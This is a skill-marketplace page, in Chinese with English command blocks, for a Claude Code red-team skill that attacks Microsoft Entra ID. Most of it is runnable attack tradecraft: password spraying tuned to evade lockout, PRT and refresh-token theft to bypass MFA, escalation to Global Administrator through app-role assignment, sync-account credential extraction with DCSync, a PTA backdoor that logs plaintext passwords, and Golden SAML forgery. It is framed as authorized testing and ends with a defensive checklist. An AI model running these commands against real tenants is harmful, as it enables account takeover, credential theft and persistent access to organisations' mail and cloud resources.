mcpField
A
attacking-entra-id

attacking-entra-id

github.com/trilwu安全17748 次安装12 周前更新
代码仓库

关于 attacking-entra-id

面向获授权红队与安全测试人员的 Entra ID 攻击技能,涵盖租户侦察、令牌、应用权限、条件访问和混合身份攻击路径。内容聚焦云身份控制面,并明确仅限授权测试。

主要功能

  1. 01枚举 Entra ID 租户与身份配置
  2. 02测试密码喷洒及令牌重放路径
  3. 03检查应用注册、服务主体与授权
  4. 04评估条件访问策略缺口
  5. 05分析跨租户与混合身份路径
  6. 06测试托管身份和工作负载身份

适用场景

  1. 01开展获授权的 Entra ID 租户评估
  2. 02检查令牌与应用授权风险
  3. 03验证条件访问控制覆盖范围
  4. 04评估混合身份及跨租户攻击路径

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/trilwu/secskills --skill attacking-entra-id

安装后在 Claude Code 中输入/attacking-entra-id确认已加载。

详细介绍

攻击 Entra ID

Entra ID(前称 Azure AD)是 Microsoft 365、Azure 和数千种 SaaS 集成的身份控制平面。攻陷它即可访问这些身份所保护的一切:邮箱、SharePoint、Azure 订阅,以及任何信任该租户的应用程序。尽管如此,Entra ID 环境受到的监控通常不如本地 Active Directory。大多数组织缺乏同等水平的云身份攻击检测覆盖,而且其攻击面——OAuth 令牌、应用程序许可、服务主体、条件访问策略缺口——与传统 AD 截然不同。

仅针对您获准测试的租户。

适用场景

  • Entra ID 租户侦察和枚举
  • 针对 Microsoft 365 / Azure AD 端点进行密码喷洒
  • 窃取或重放 OAuth 令牌、刷新令牌和 PRT
  • 滥用应用注册、服务主体和许可授予
  • 绕过条件访问策略
  • 混合身份攻击(Azure AD Connect、PTA 代理)

不适用场景

  • 本地 Active Directory 攻击(Kerberoasting、DCSync、横向移动)——使用 attacking-active-directory
  • 通用 AWS/Azure/GCP 基础设施(VM、存储、IAM 角色)——使用 exploiting-cloud-platforms
  • 滥用 AD CS 证书——使用 abusing-adcs
  • 防御性地检测这些攻击——使用 engineering-detections

初步侦察

发现租户无需凭据。先从这里开始,确认目标租户是否存在、识别联合身份验证配置,并绘制攻击面。

# AADInternals -- tenant recon
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -DomainName target.com

# Get tenant ID from OpenID configuration
curl https://login.microsoftonline.com/target.com/.well-known/openid-configuration

# Check user realm (managed vs. federated)
curl "https://login.microsoftonline.com/common/userrealm/[email protected]?api-version=2.0"

# ROADtools -- authenticated enumeration (once you have creds)
roadrecon auth -u [email protected] -p 'Password'
roadrecon gather
roadrecon gui
# Browse the GUI: users, groups, applications, service principals, conditional access

# AzureHound -- BloodHound collection for Azure/Entra
azurehound -u [email protected] -p 'Password' list --tenant target.com -o output.json

ROADtools GUI 是查看租户最有用的单一视图。获取任何有效凭据后,立即运行 roadrecon gather。

密码喷洒

Microsoft 会限制请求速率并记录密码喷洒,因此喷洒频率很重要。在大多数配置中,每隔 30-60 分钟对每位用户尝试一个密码,可避免智能锁定。

# MSOLSpray -- targets the Microsoft Online login endpoint
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList users.txt -Password 'Spring2026!' -URL https://login.microsoft.com

# o365spray -- enumerate then spray
o365spray --validate --domain target.com
o365spray --enum -U users.txt --domain target.com
o365spray --spray -U valid_users.txt -P passwords.txt --domain target.com --rate 1 --safe 30

# TREVORspray -- distributed spraying via SOCKS proxies
trevorspray -u users.txt -p 'Summer2026!' --delay 1800

避免锁定的频率:

  • 每位用户至少每 30 分钟尝试一次
  • 轮换密码,而非用户
  • 避免使用用户之前用过的密码(这会触发不同的日志事件)
  • 监控 AADSTS50053(已锁定)和 AADSTS50126(密码无效),以区分锁定与失败

令牌窃取与重放

Entra ID 身份验证会生成多种令牌类型。每种令牌的有效期、范围和重放条件各不相同。

主刷新令牌(PRT)

PRT 是缓存在已加入 Azure AD 或已注册设备上的长期凭据。它可为所有 Microsoft 云服务提供 SSO。

# Extract PRT using ROADtoken (requires SYSTEM or user session)
ROADtoken.exe

# RequestAADRefreshToken -- request a refresh token using the PRT
RequestAADRefreshToken.exe

# AADInternals -- export PRT from a joined device
$prt = Get-AADIntUserPRTToken
# Use it in a browser by injecting the x-ms-RefreshTokenCredential cookie

如果 PRT 签发时已满足 MFA 要求,窃取的 PRT 就能绕过 MFA,因为 PRT 包含 MFA 声明。

刷新令牌重放
# Exchange a refresh token for an access token
curl -X POST https://login.microsoftonline.com/TENANT_ID/oauth2/v2.0/token \
  -d "client_id=CLIENT_ID&grant_type=refresh_token&refresh_token=STOLEN_RT&scope=https://graph.microsoft.com/.default"

# ROADtools -- authenticate with a refresh token
roadrecon auth --refresh-token 'eyJ0...'
roadrecon gather
连续访问评估(CAE)缺口

支持 CAE 的令牌会近乎实时地检查是否已撤销,但并非所有应用程序都支持 CAE。对于不支持 CAE 的资源,令牌有效期最长仍为 1 小时。关键事件评估(用户被禁用、密码更改)会在几分钟内传播,但基于 IP 的评估仅覆盖受支持的工作负载。在假定令牌撤销会即时生效之前,请先确认目标应用程序是否强制执行 CAE。

应用程序和服务主体滥用

应用程序和服务主体是 Entra ID 中最缺乏审查的攻击面。它们在用户离职后仍会保留,持有无人轮换的凭据,而且通常拥有过多的 API 权限。

危险的应用程序权限

授予整个租户访问权限且无需用户许可的应用程序权限(非委派权限):

  • Mail.Read / Mail.ReadWrite——读取租户中的所有邮箱
  • RoleManagement.ReadWrite.Directory——分配任何目录角色,包括全局管理员
  • AppRoleAssignment.ReadWrite.All——向任意主体授予任意应用角色
  • Application.ReadWrite.All——修改任何应用注册
  • Directory.ReadWrite.All——广泛写入目录对象
# Enumerate applications with high-privilege permissions (Graph API)
az rest --method GET --url "https://graph.microsoft.com/v1.0/servicePrincipals?\$select=displayName,appId,appRoles" \
  --query "value[].{name:displayName,appId:appId}"

# ROADtools -- the GUI shows app permissions under each service principal

# Find apps with credentials (secrets/certificates)
az ad app list --query "[?passwordCredentials || keyCredentials].{name:displayName,appId:appId}" -o table
同意授权滥用(非法同意授权)

如果用户可以同意应用,攻击者就能注册一个请求 Mail.Read 等范围的恶意多租户应用,然后通过钓鱼诱骗用户授予同意。

# Microsoft Graph PowerShell. The AzureAD and MSOnline modules are gone --
# deprecated March 2024, unsupported after 30 March 2025, retired from
# July 2025 -- so any Get-AzureAD*/Get-Msol* command you find in older
# tradecraft will simply fail to authenticate.
Connect-MgGraph -Scopes 'Policy.Read.All','Application.Read.All'

# Check whether user consent is allowed
(Get-MgPolicyAuthorizationPolicy).DefaultUserRolePermissions.PermissionGrantPoliciesAssigned
# If "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present,
# users can consent to third-party apps

# Enumerate existing consent grants
Get-MgOauth2PermissionGrant -All
应用角色分配权限提升

如果你控制了一个拥有 AppRoleAssignment.ReadWrite.All 的服务主体:

# Grant RoleManagement.ReadWrite.Directory to your controlled SP
az rest --method POST \
  --url "https://graph.microsoft.com/v1.0/servicePrincipals/SP_OBJECT_ID/appRoleAssignments" \
  --body '{"principalId":"SP_OBJECT_ID","resourceId":"GRAPH_SP_ID","appRoleId":"ROLE_MANAGEMENT_ROLE_ID"}'
# Then assign Global Administrator to any user or SP

绕过条件访问

条件访问(CA)策略是 Entra ID 中的主要安全控制措施,但漏洞十分常见。

常见的绕过模式:

  • 旧版身份验证协议 -- 如果 CA 策略未阻止旧版身份验证,就可以通过 IMAP/POP/SMTP 仅使用密码进行身份验证
  • 设备合规性漏洞 -- 要求设备合规的策略通常会排除服务帐户或紧急访问帐户
  • 受信任的命名位置 -- 如果策略信任特定 IP 范围,位于这些网络(VPN、已遭入侵的本地计算机)上的攻击者就能绕过 MFA
  • 平台排除项 -- 适用于 Windows/macOS 的策略可能不适用于 Linux 或移动设备
  • 应用程序排除项 -- 并非所有应用程序都受覆盖;请特别检查 Microsoft 管理门户、Azure 管理和 Graph API
  • CAE 与非 CAE 资源 -- 撤销信号无法实时传达到非 CAE 应用程序
# Enumerate CA policies (requires Policy.Read.All or equivalent)
az rest --method GET --url "https://graph.microsoft.com/v1.0/identity/conditionalAccessPolicies"

# ROADtools -- CA policies are visible in the GUI after gathering

# Test legacy auth (if not blocked)
curl -u [email protected]:password https://outlook.office365.com/EWS/Exchange.asmx

跨租户攻击

B2B 来宾横向移动

一个租户中的来宾帐户通常可以访问邀请租户中的资源。如果你攻陷了一个在其他租户中作为来宾的用户,请枚举该来宾可以访问的内容。

# List tenants the compromised user is a guest in
az account list --all --query "[].{tenant:tenantId,name:name}"

# Switch context to the target tenant
az login --tenant TARGET_TENANT_ID

# Enumerate accessible resources in the target tenant
az ad signed-in-user show
az group list
滥用租户间信任

跨租户访问设置和跨租户同步可能会建立信任路径:

  • 入站信任允许来自源租户的 MFA 声明 -- 攻陷源租户中的用户后,即可绕过 MFA 访问目标租户
  • 跨租户同步将身份推送到目标租户 -- 如果你控制了源租户的同步,就能向目标租户注入帐户
# Enumerate cross-tenant access policies
Get-MgPolicyCrossTenantAccessPolicyPartner | Select TenantId, InboundTrust, AutomaticUserConsentSettings

混合身份攻击

混合环境将本地 AD 连接到 Entra ID,从而产生双向攻击路径。

Azure AD Connect -- 同步帐户 DCSync

Azure AD Connect 使用具有目录复制权限(DCSync 权限)的服务帐户访问本地 AD。凭据以加密形式存储在 Connect 服务器上。

# AADInternals -- extract the sync account credentials from the Connect server
# Requires local admin on the Azure AD Connect host
Import-Module AADInternals
Get-AADIntSyncCredentials
# Returns: username (MSOL_xxxx or custom), password, tenant ID

# Use the sync account to DCSync on-prem AD
secretsdump.py 'MSOL_abc123:[email protected]' -just-dc

攻陷 Azure AD Connect 服务器就等于攻陷域。除非限制密码写回范围,否则同步帐户还能够重置云密码。

滥用直通身份验证(PTA)Agent

PTA Agent 会为云登录验证本地密码。拥有 PTA Agent 主机管理员权限的攻击者可以截获明文凭据。

# AADInternals -- install a PTA agent backdoor that logs credentials
# and optionally accepts any password
Install-AADIntPTASpy

# Retrieve intercepted credentials
Get-AADIntPTASpyLog

# Remove the spy
Remove-AADIntPTASpy

攻陷任何 PTA Agent 主机,都能获取所有使用非同步哈希用户进行云身份验证时的明文凭据。

滥用联合身份验证(Golden SAML)

如果使用 ADFS,且你拥有令牌签名证书:

# Export the ADFS token-signing certificate (requires DA or local admin on ADFS)
# Then forge SAML tokens for any federated user
# AADInternals:
$cert = Export-AADIntADFSSigningCertificate
Open-AADIntOffice365Portal -ImmutableID USER_IMMUTABLE_ID -Issuer FEDERATION_ISSUER -PfxFileName cert.pfx

托管身份和工作负载身份联合

滥用托管身份

Azure 托管身份(系统分配和用户分配)是服务主体,Azure 资源使用它们向其他服务进行身份验证。

# From a compromised Azure VM/Function/App Service -- request a token
curl -H Metadata:true \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com"

# Use the token against Graph API
curl -H "Authorization: Bearer ACCESS_TOKEN" https://graph.microsoft.com/v1.0/me

如果托管身份拥有高权限的 Graph 或 ARM 权限,就等同于服务主体遭到攻陷。

工作负载身份联合

工作负载身份联合允许外部身份提供商(GitHub Actions、GCP、AWS)在不使用机密的情况下,以 Entra ID 服务主体身份进行身份验证。

配置错误风险:主体/颁发者条件过于宽泛。如果联合凭据信任的是 repo:org/*,而不是 repo:org/specific-repo:ref:refs/heads/main,那么该组织中的任何存储库都可以使用此身份。

# Enumerate federated credentials on an application
az ad app federated-credential list --id APP_OBJECT_ID

防御性审查清单

进行安全评估而非攻击时:

  • 所有 CA 策略是否都阻止了旧式身份验证协议?
  • 哪些应用拥有 Graph API 的应用级(而非委派)权限?其凭据上次轮换是什么时候?
  • 用户能否同意第三方应用,还是必须由管理员同意?
  • 所有 CA 策略是否都应用于所有云应用,还是存在排除项?
  • 是否在已加入设备上强制实施 PRT 保护(将令牌绑定到 TPM)?
  • 紧急访问账户是否已限定范围并受到监控?
  • Azure AD Connect 服务器是否已加固并作为 Tier 0 资产受到监控?
  • PTA Agent 主机是否已像域控制器一样加固?
  • 跨租户访问策略是否限定于特定合作伙伴,还是开放范围过广?
  • 工作负载身份联合的使用者条件是否严格限定范围?
  • 登录和审计日志的保留期限是否设置为超过默认的 7 天?

应拒绝的说辞

  • “我们启用了条件访问,所以所有地方都要求 MFA。” 检查是否排除了旧式身份验证、存在平台覆盖缺口或排除了某些应用。CA 只有覆盖所有路径时才有效。
  • “该应用只有委派权限,没有应用权限。” 由已获管理员同意的应用使用有效令牌行使的委派权限,仍可达到用户的完整权限级别。
  • “我们定期轮换用户密码。” 被盗的 PRT 和刷新令牌不会因密码轮换而失效,除非明确撤销会话。
  • “服务主体没有交互式登录。” 它不需要交互式登录。泄露的客户端密钥若拥有 Mail.Read 应用权限,就能在租户中悄无声息地读取所有邮箱。
  • “我们的 Azure AD Connect 服务器已加入域,因此已经受到保护。” 它持有可执行 DCSync 的凭据,应视为 Tier 0 资产——与域控制器同等对待。
  • “我们只允许来自可信合作伙伴的 B2B 来宾。” 如果合作伙伴租户遭到入侵,入站信任策略可能会让攻击者继承 MFA 声明,并在无需重新验证的情况下访问你的资源。
  • “托管身份更安全,因为没有可泄露的密钥。” 对于凭据盗窃而言确实如此,但在资源上运行的任何代码都可以请求令牌。权限过大的托管身份仍然可能成为权限提升途径。

ATT&CK 覆盖范围

根据 secskills-core/ttp-index.json 生成——编辑该文件,然后运行 python3 scripts/sync_attack.py --write。在报告中引用 ID 前,请对照当前 ATT&CK 版本重新核实。

初始访问(TA0001)

  • T1078.004 云账户 (也属于持久化) — 另见 exploiting-cloud-platforms
  • T1199 可信关系 — 另见 exploiting-cloud-platforms、abusing-ci-cd-oidc

凭据访问(TA0006)

  • T1528 窃取应用访问令牌 — 另见 testing-apis、exploiting-cloud-platforms、attacking-oauth-oidc
  • T1606.002 SAML 令牌 — 另见 attacking-saml

这些技术对应的检测内容:engineering-detections。主动搜寻:hunting-threats。入侵后响应:responding-to-incidents。

参考资料

  • attacking-active-directory -- 本地 AD 攻击和横向移动
  • exploiting-cloud-platforms -- 更广泛的云平台利用(AWS、Azure、GCP)
  • abusing-adcs -- AD CS 证书滥用,包括混合 PKI 场景
  • engineering-detections -- Entra ID 登录和审计日志的检测工程

评论

支持 Markdown